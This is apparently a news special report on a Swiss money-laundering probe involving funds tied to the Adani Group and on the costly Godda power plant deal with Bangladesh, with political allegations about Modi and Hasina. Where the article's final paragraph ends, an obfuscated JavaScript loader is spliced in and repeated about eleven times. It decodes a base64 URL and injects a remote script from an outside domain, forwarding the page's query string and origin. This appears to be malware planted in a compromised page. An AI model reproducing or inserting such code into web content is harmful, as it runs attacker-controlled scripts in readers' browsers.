Swiss money-laundering probe: How Godda Plant exposes political intrigues

Special Report :

Swiss prosecutors have frozen $310 million in six Swiss bank accounts tied to an alleged frontman for the Adani Group, part of an ongoing investigation into money laundering and stock market manipulation, according to a report on Financial Time of UK this morning.

The probe, which began in December 2021, centers around the suspicion that these funds were used to artificially inflate the stock value of Adani’s listed companies.

These revelations have raised global concerns, casting a shadow over Adani’s international ventures-including the highly controversial Godda power plant in Bangladesh.

While Adani continues to deny any wrongdoing, the freezing of assets has prompted questions about how deep the financial manipulation goes and what role Adani plays in Modi’s broader economic and political strategy, especially in Bangladesh.

This investigation has reignited speculation about whether Adani is simply a “toll collector” for Indian Prime Minister Narendra Modi and his Bharatiya Janata Party (BJP), facilitating financial flows in exchange for favorable business deals.

At the center of this controversy is the Godda power plant in Bangladesh-a project that critics argue was never designed for Bangladesh’s benefit but instead served as a tool for advancing political and financial interests on both sides of the border.

The plant, shrouded in financial mismanagement and inflated bills, highlights the complex and often murky relationship between Modi, Adani, and Sheikh Hasina’s now-ousted kleptocratic regime in Bangladesh.

The Godda power plant, which was pitched as a solution to Bangladesh’s energy needs, has come under scrutiny due to its exorbitant costs and questionable agreements.

Signed without significant review under the directive of the Sheikh Hasina government, the deal locked Bangladesh into paying overinflated prices for electricity, enriching Adani at Bangladesh’s expense.

Now, with Bangladesh struggling to pay $800 million in arrears accumulated during Hasina’s last 7-8 months outstanding bills from Adani. The question arises: was Adani acting as a “toll collector” for Modi’s own party interests in Bangladesh?
Modi’s ties to Adani have been well-documented.

Throughout his tenure, opposition figures, including Rahul Gandhi, have accused Modi of using government policies to favor large conglomerates like Adani.

Reports suggest that Sheikh Hasina, facing mounting political challenges at home, may have struck a deal with Modi, offering favorable terms to Adani in exchange for political backing from India.

In this scenario, Adani facilitated a financial arrangement that not only benefited Modi and his business allies but also helped Hasina’s regime stay in power-until it was recently toppled by a student-led mass movement.

The Godda power plant deal has not only burdened Bangladesh with unsustainable debt but has also strained diplomatic ties with India.

The Bangladesh Power Development Board (BPDB) has struggled to pay the $800 million it owes Adani for electricity, sparking public outcry and growing resentment toward the deal, which critics say was signed without any effort to renegotiate the inflated prices.

Tim Buckley, a prominent energy expert, has pointed out that Bangladesh is paying up to five times more for electricity from the Godda plant than it would from domestic sources.

Even if global coal prices drop, Bangladesh will still be locked into an agreement that leaves it paying 33 percent more for power compared to its own coal-based plants. What’s worse, the contract includes exorbitant capacity charges, requiring Bangladesh to pay Adani $450 million annually-even when the plant isn’t generating power.(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();